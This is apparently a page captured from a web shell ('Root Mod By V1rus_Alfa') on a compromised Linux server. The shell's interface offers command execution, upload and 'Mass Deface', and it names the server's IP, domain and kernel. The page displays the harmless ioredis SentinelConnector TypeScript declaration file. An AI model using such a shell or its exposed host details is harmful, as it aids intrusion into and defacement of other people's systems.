���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
.trash
/
node_modules.2
/
ioredis
/
built
/
connectors
/
SentinelConnector
/
Viewing: index.d.ts
/// <reference types="node" /> import { EventEmitter } from "events"; import { NatMap } from "../../cluster/ClusterOptions"; import { ConnectionOptions } from "tls"; import SentinelIterator from "./SentinelIterator"; import { SentinelAddress } from "./types"; import AbstractConnector, { ErrorEmitter } from "../AbstractConnector"; import { NetStream } from "../../types"; interface AddressFromResponse { port: string; ip: string; flags?: string; } declare type PreferredSlaves = ((slaves: AddressFromResponse[]) => AddressFromResponse | null) | Array<{ port: string; ip: string; prio?: number; }> | { port: string; ip: string; prio?: number; }; export { SentinelAddress, SentinelIterator }; export interface SentinelConnectionOptions { /** * Master group name of the Sentinel */ name?: string; /** * @default "master" */ role?: "master" | "slave"; tls?: ConnectionOptions; sentinelUsername?: string; sentinelPassword?: string; sentinels?: Array<Partial<SentinelAddress>>; sentinelRetryStrategy?: (retryAttempts: number) => number | void | null; sentinelReconnectStrategy?: (retryAttempts: number) => number | void | null; preferredSlaves?: PreferredSlaves; connectTimeout?: number; disconnectTimeout?: number; sentinelCommandTimeout?: number; enableTLSForSentinelMode?: boolean; sentinelTLS?: ConnectionOptions; natMap?: NatMap; updateSentinels?: boolean; /** * @default 10 */ sentinelMaxConnections?: number; failoverDetector?: boolean; } export default class SentinelConnector extends AbstractConnector { protected options: SentinelConnectionOptions; emitter: EventEmitter | null; protected sentinelIterator: SentinelIterator; private retryAttempts; private failoverDetector; constructor(options: SentinelConnectionOptions); check(info: { role?: string; }): boolean; disconnect(): void; connect(eventEmitter: ErrorEmitter): Promise<NetStream>; private updateSentinels; private resolveMaster; private resolveSlave; private sentinelNatResolve; private connectToSentinel; private resolve; private initFailoverDetector; }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa